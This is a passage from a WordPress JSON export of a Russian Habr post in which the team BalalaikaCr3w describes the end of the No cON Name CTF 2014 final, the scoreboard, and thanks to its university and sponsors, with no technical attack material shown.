\u043e\u043f\u044b\u0442\u043d\u0435\u0439\u0448\u0430\u044f \u0438\u0441\u043f\u0430\u043d\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 int3pids, \u043e\u0442\u043a\u0440\u044b\u043b\u0438 \u0441\u0447\u0435\u0442 \u0441\u0432\u043e\u0438\u043c \u043e\u0447\u043a\u0430\u043c, \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0432 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 <i>dragons<\/i>. \u0418\u043d\u0442\u0440\u0438\u0433\u0430 \u043d\u0430\u0440\u0430\u0441\u0442\u0430\u043b\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0437\u0430 \u0437\u0430\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 int3pids \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u043f\u043e 50 \u043e\u0447\u043a\u043e\u0432 \u043a\u0430\u0436\u0434\u044b\u0435 10 \u043c\u0438\u043d\u0443\u0442, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u0448\u0430\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044f \u043e\u0447\u043a\u0438 \u0437\u0430 \u043d\u0438\u0445. \u041f\u0430\u0440\u0443 \u0447\u0430\u0441\u043e\u0432 \u0441\u043f\u0443\u0441\u0442\u044f \u0432 \u0431\u043e\u0440\u044c\u0431\u0443 \u0432\u0441\u0442\u0443\u043f\u0438\u043b\u0430 \u0443\u043a\u0440\u0430\u0438\u043d\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 dcua, \u0440\u0435\u0448\u0438\u0432 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <i>vodka<\/i>, \u043d\u043e \u043f\u0440\u0435\u0442\u0435\u043d\u0434\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u043f\u043e\u0431\u0435\u0434\u0443 \u0438\u043c \u0431\u044b\u043b\u043e \u0443\u0436\u0435 \u0441\u043b\u043e\u0436\u043d\u043e: \u043d\u0430\u0448\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 BalalaikaCr3w \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0445\u043e\u0437\u044f\u0435\u0432 int3pids \u0431\u044b\u043b\u0438 \u0443\u0436\u0435 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0434\u0430\u043b\u0435\u043a\u043e \u0432\u043f\u0435\u0440\u0435\u0434\u0438.<\/p>\n<p>  \u0412 \u0438\u0442\u043e\u0433\u0435 \u043d\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0432\u0435\u0440\u0445\u043d\u0435\u0439 \u0441\u0442\u0440\u043e\u0447\u043a\u0435 \u0441\u043a\u043e\u0440\u0431\u043e\u0440\u0434\u0430 \u0434\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0446\u0430 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439:<br \/>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/e9f\/1ee\/f7d\/e9f1eef7df454875b0fb5360d9cdbc76.jpg\"\/><br \/>  <i>\u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043d\u0443\u043b\u0435\u0432\u044b\u043c \u0441\u0447\u0435\u0442\u043e\u043c \u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u043b\u0438\u0441\u044c \u043d\u0430 \u0441\u043a\u043e\u0440\u0431\u043e\u0440\u0434\u0435<\/i><\/p>\n<p>  \u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e <i>NcN CTF<\/i> \u0432 \u0411\u0430\u0440\u0441\u0435\u043b\u043e\u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0433\u043e\u0434 \u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435 \u0442\u0430\u043a\u0438\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c, \u043a\u0430\u043a \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 CTF-\u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0440\u0430\u0441\u0442\u0435\u0442. \u0425\u043e\u0447\u0435\u0442\u0441\u044f \u043f\u043e\u0436\u0435\u043b\u0430\u0442\u044c \u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u0438 <i><a href=\"http:\/\/noconname.org\/\">No cON Name<\/a><\/i> \u043d\u0435 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u043e\u043c, \u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c \u0434\u0432\u0438\u0433\u0430\u0442\u044c\u0441\u044f \u0434\u0430\u043b\u044c\u0448\u0435, \u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0435\u0449\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0439, \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0441\u043f\u043e\u043d\u0441\u043e\u0440\u043e\u0432 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0438 \u043f\u0440\u0435\u0441\u0442\u0438\u0436 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 \u0438 CTF.<\/p>\n<h3>\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u0438<\/h3>\n<p>  \u041a\u043e\u043c\u0430\u043d\u0434\u0430 <b>BalalaikaCr3w<\/b> \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c <a href=\"http:\/\/university.innopolis.ru\/\">\u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0443 \u0418\u043d\u043d\u043e\u043f\u043e\u043b\u0438\u0441<\/a> \u0437\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e \u043d\u0430\u0448\u0435\u0439 \u043f\u043e\u0435\u0437\u0434\u043a\u0438 \u043d\u0430 \u0444\u0438\u043d\u0430\u043b. \u0418\u043d\u043d\u043e\u043f\u043e\u043b\u0438\u0441 \u2014 \u043d\u043e\u0432\u044b\u0439 \u0432\u0443\u0437 \u0441 \u0444\u043e\u043a\u0443\u0441\u043e\u043c \u043d\u0430 \u0418\u0422 \u0438 \u0440\u043e\u0431\u043e\u0442\u043e\u0442\u0435\u0445\u043d\u0438\u043a\u0443. \u0421\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0433\u043e\u0434\u0430 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u043c\u0430\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u0443\u0440\u044b <i>Cyber Security<\/i>, \u0438 \u043e\u043d\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u044e\u0442 \u043c\u043e\u043b\u043e\u0434\u044b\u0445 \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u043e\u0432 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. <\/p>\n<p>  \u0422\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c <a href=\"http:\/\/aktiv-company.ru\/\">\u00ab\u0410\u043a\u0442\u0438\u0432\u00bb<\/a> \u0438 <a href=\"http:\/\/abbyy-ls.ru\/\">\u00abABBYY Language Services\u00bb<\/a> \u0437\u0430 \u043f\u043e\u0441\u0438\u043b\u044c\u043d\u0443\u044e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0441\u0432\u043e\u0438\u0445 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0434\u043b\u044f \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0438.<\/p>\n<h3>\u0421\u0441\u044b\u043b\u043a\u0438<\/h3>\n<p>  \u0420\u0430\u0437\u0431\u043e\u0440\u044b \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0441 \u0444\u0438\u043d\u0430\u043b\u0430 <i>No cON Name CTF 2014<\/i> \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u043c \u0431\u043b\u043e\u0433\u0435: <a href=\"http:\/\/ctfcrew.org\/\">ctfcrew.org<\/a><br \/>  \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u0449\u0438\u0445 CTF \u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u043e\u0431\u043e \u0432\u0441\u0435\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445 \u0432 CTF \u043c\u0438\u0440\u0435 \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0435 \u0432\u0441\u0435\u0445 \u043a\u043e\u043c\u0430\u043d\u0434: <a href=\"https:\/\/ctftime.org\/\">ctftime.org<\/a>.      \t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/245011\/\"> http:\/\/habrahabr.ru\/post\/245011\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">     \t\u0421 30 \u043e\u043a\u0442\u044f\u0431\u0440\u044f \u043f\u043e 1 \u043d\u043e\u044f\u0431\u0440\u044f \u0432 \u0411\u0430\u0440\u0441\u0435\u043b\u043e\u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b\u0430 \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u044f \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 <i>No cON Name 2014<\/i>, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0436\u0435 \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f \u0444\u0438\u043d\u0430\u043b \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u00ab<i>Capture The Flag<\/i>\u00bb. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0418\u043d\u043d\u043e\u043f\u043e\u043b\u0438\u0441 BalalaikaCr3w \u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0443\u0447\u0430\u0441\u0442\u0438\u0435 \u0432 \u044d\u0442\u043e\u043c \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u0437\u0430\u043d\u044f\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0435 \u043c\u0435\u0441\u0442\u043e. \u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u043d\u0430\u0448 \u0440\u0430\u0441\u0441\u043a\u0430\u0437 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u044d\u0442\u043e \u0431\u044b\u043b\u043e, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u0438 \u0442\u0435\u043c, \u043a\u0442\u043e \u043d\u0430\u043c \u0432 \u044d\u0442\u043e\u043c \u043f\u043e\u043c\u043e\u0433.<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/bb0\/ac7\/277\/bb0ac727781e4d19a59cd47da365b7db.jpg\"\/><br \/>  <i>CTF-\u0437\u043e\u043d\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0444\u0438\u043d\u0430\u043b\u0430<\/i>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-245011","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/245011","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=245011"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/245011\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=245011"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=245011"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=245011"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}